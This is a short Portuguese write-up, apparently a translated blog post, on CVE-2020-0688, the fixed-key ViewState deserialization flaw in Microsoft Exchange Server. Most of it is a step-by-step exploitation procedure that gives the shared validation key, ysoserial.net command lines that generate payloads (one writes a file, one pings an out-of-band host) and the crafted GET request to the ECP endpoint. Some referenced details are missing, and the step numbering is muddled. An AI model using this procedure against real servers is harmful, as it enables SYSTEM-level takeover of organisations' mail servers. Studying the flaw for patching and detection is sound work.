
[CVE-2020-0688] Microsoft Exchange Server Fixed Cryptographic Key Remote Code Execution (RCE)
[CVE-2020-0688] Execução Remota de Código (RCE) por Chave Criptográfica Fixa no Microsoft Exchange Server
Em vez de ter chaves geradas aleatoriamente por instalação, todas as instalações do Microsoft Exchange Server possuem os mesmos valores validationKey e decryptionKey no web.config. Assim, um atacante autenticado pode enganar o servidor para desserializar dados ViewState maliciosamente elaborados. Com a ajuda do YSoSerial.net, um atacante pode executar código arbitrário .NET no servidor no contexto da aplicação web do Exchange Control Panel (ECP), que é executada com privilégios de SYSTEM.
Passo 1: Visite um dos seguintes endpoints e acesse a página de autenticação
Passo 2: Faça login com credenciais (não importa os privilégios da conta) e obtenha valores válidos de ASP_NET_SessionId e __VIEWSTATEGENERATOR do cookie da resposta HTTP e do corpo da resposta HTTP, respectivamente. Por exemplo
Passo 3: Para gerar o payload (para verificar a vulnerabilidade), use o YSoSerial.net
Note que se você tiver acesso ao servidor Exchange da vítima, pode usar o seguinte payload que cria um arquivo de texto no diretório C:\ com o nome PoC.txt
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
No entanto, se você não tiver acesso ao servidor, o seguinte pode ser melhor.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Passo 4: Após o passo 4, teremos um payload ViewState codificado em URL. Faça uma requisição GET no seguinte endpoint no formato abaixo
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
O post original do blog está disponível aqui